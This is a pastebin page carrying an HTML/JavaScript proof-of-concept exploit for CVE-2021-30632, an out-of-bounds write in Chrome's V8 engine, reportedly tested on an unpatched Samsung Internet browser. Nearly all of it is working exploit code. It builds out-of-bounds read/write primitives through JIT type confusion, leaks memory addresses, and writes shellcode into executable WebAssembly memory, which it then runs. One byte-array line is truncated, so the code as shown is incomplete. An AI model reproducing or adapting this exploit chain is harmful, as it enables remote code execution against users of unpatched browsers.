PoC CVE-2021-30632 - Out of bounds write in V8

A GUEST SEP 20TH, 2021 1,611 NEVER

```
<!DOCTYPE html>
<html lang="en">
<head>
    <title>PoC CVE-2021-30632 - Out of bounds write in V8</title>
    <meta name="author" content="@Zeusb0X">
    <meta name="comments" content="Tested against Samsung Internet Browser v15.0.2.47, which does not yet have Google's patch.">
    <!--
            This bug is caused by the fact that global property "stores" for existing values with unstable maps are lacking a
            stability code dependency in the affected versions.
            It is exploitable because global property "loads" benefit from "CheckMaps" removal when a stability code dependency
            is in place for their value's map.
            The recipe for explotaition involves transitioning from an array of PACKED_SMI elements with a stable map to an array of
            PACKED_DOUBLE elements and have multiple JITted functions that deal with each kind of array.
            Type confusions between PACKED_SMI and PACKED_DOUBLE elements => Out of bounds R/W.
    -->
</head>
<body>
    <h1 id="pwn"></h1>
    <script>
        /* aarch64 small routine which does ret 0xDEAD */
        var sc = new Uint8Array([0xfd, 0x7b, 0xbf, 0xa9, 0xfd, 0x03, 0x00, 0x91, 0x10, 0x01, 0x80, 0xd2, 0xe7, 0x43, 0xbf, 0xa9, 0xa0, 0xd5, 0x9b,
0xd2, 0xbf, 0x03, 0x00, 0x91, 0xfd, 0x7b, 0xc1, 0xa8, 0xc0, 0x03, 0x5f, 0xd6]);
        var sb = new ArrayBuffer(0x1000);

        /* RET 0x2A */
        var wc = new
Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,
        var wm = new WebAssembly.Module(wc);
        var wi = new WebAssembly.Instance(wm);
        var f = wi.exports.main;

        // We need to start with stable JSArray maps
        class Box extends Array
        {
            constructor(...args) {
                super(...args);
            }
        };

        var a = new Box(1,2,3);

        function set_smi_arr(smi_arr,x) {
            for (let i = 0; i < 0x200; ++i) {
                ++i;
            }
            if (x) {
```

```
            a = smi_arr;
        }
    }

    function set_double_arr(double_arr,x) {
        for (let i = 0; i < 0x200; ++i) {
            ++i;
        }
        if (x) {
            a = double_arr;
        }
    }

    function leak_elems_and_len() {
        for (let i = 0; i < 0x200; ++i) {
            ++i;
        }
        return a[11];
    }

    function set_elems_and_len(d) {
        for (let i = 0; i < 0x200; ++i) {
            ++i;
        }
        a[11] = d;
    }

    function read_corrupted_arr(corrupted_arr,idx) {
        for (let i = 0; i < 0x200; ++i) {
            ++i;
        }
        return corrupted_arr[idx];
    }

    function write_corrupted_arr(corrupted_arr,idx,val) {
        for (let i = 0; i < 0x200; ++i) {
            ++i;
        }
        corrupted_arr[idx] = val;
    }

    var b1 = new Box(1,2,3,4);
    set_smi_arr(b1, true);

    a.x = 1;
    delete a.x;

    for (var i = 0; i < 0x3000; ++i) {
        set_smi_arr(b1, false);
    }

    a[0] = 1.1;
    var b2 = new Box(1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9.9,10.10,11.11,12.12);
    set_double_arr(b2, true);

    for (var i = 0; i < 0x3000; ++i) {
        set_double_arr(b2, false);
    }

    for (var i = 0; i < 0x3000; ++i) {
        leak_elems_and_len();
        set_elems_and_len(12.13);
        read_corrupted_arr(b2, 0);
        write_corrupted_arr(b2, 0, 1.1);
    }

    var oob_arr = new Box(1,2,3,4,5,6,7,8,9,10,11,12);
    var corrupted_arr = new Box(1.1,1.2);
```

```
        var leaks = [wi,sb];

        set_smi_arr(oob_arr, true);

        var ab = new ArrayBuffer(8);
        var f64 = new Float64Array(ab);
        var u32 = new Uint32Array(ab);

        f64[0] = leak_elems_and_len();
        u32[1] = 0x42424242;
        var init = f64[0];
        set_elems_and_len(init);

        f64[0] = read_corrupted_arr(corrupted_arr, 8);
        var wasm_instance_addr = u32[0];
        var sb_addr = u32[1];

        f64[0] = init;
        u32[0] = wasm_instance_addr;
        set_elems_and_len(f64[0]);

        f64[0] = read_corrupted_arr(corrupted_arr, 12);
        var rwx_low = u32[0];
        var rwx_high = u32[1];

        f64[0] = init;
        u32[0] = sb_addr;
        set_elems_and_len(f64[0]);

        f64[0] = read_corrupted_arr(corrupted_arr, 1);
        u32[1] = rwx_low;
        write_corrupted_arr(corrupted_arr, 1, f64[0]);

        f64[0] = read_corrupted_arr(corrupted_arr, 2);
        u32[0] = rwx_high;
        write_corrupted_arr(corrupted_arr, 2, f64[0]);

        var u8 = new Uint8Array(sb);

        for (let i = 0; i < sc.byteLength; ++i) {
            u8[i] = sc[i];
        }

        document.getElementById("pwn").innerText = f().toString(16);
    </script>
</body>
</html>
```

RAW Paste Data

```
<!DOCTYPE html>
<html lang="en">
<head>
    <title>PoC CVE-2021-30632 - Out of bounds write in V8</title>
    <meta name="author" content="@Zeusb0X">
    <meta name="comments" content="Tested against Samsung Internet Browser v15.0.2.47, which does not yet have Google's patch.">
    <!--
            This bug is caused by the fact that global property "stores" for existing values with unstable maps are lacking a
            stability code dependency in the affected versions.
            It is exploitable because global property "loads" benefit from "CheckMaps" removal when a stability code dependency
            is in place for their value's map.
            The recipe for explotaition involves transitioning from an array of PACKED_SMI elements with a stable map to an array of
            PACKED_DOUBLE elements and have multiple JITted functions that deal with each kind of array.
            Type confusions between PACKED_SMI and PACKED_DOUBLE elements => Out of bounds R/W.
```

Public Pastes (/archive)

Untitled (/kHGhVzL4)
C++ | 1 min ago | 2.19 KB

Toy Shop (/KBqQZi2r)
C# | 9 min ago | 1.18 KB

World Swimming Record (/93uWvAK9)
C# | 10 min ago | 0.87 KB

Untitled (/sENVsHk8)
C# | 17 min ago | 0.40 KB

Zad39 (/JbiXz21W)
C++ | 32 min ago | 0.59 KB

Untitled (/kFMTaWtY)
C++ | 34 min ago | 1.34 KB

Test 1 (/LdSxDU9R)
Java | 35 min ago | 2.71 KB

Untitled (/ktq2CzPk)
Python | 36 min ago | 0.74 KB

(/tools[illegible]pastebincl)

(https://[illegible]

create new paste (/) / syntax languages (/languages) / archive (/archive) / faq (/faq) / tools (/tools) / night mode (/night_mode) / api (/doc_api) / scraping api (/doc_scraping_api) / news (/news) / pro (/pro)
privacy statement (/doc_privacy_statement) / cookies policy (/doc_cookies_policy) / terms of service (/doc_terms_of_service)updated / security disclosure (/doc_security_disclosure) / dmca (/dmca) / report abuse (/report-abuse) / contact (/contact)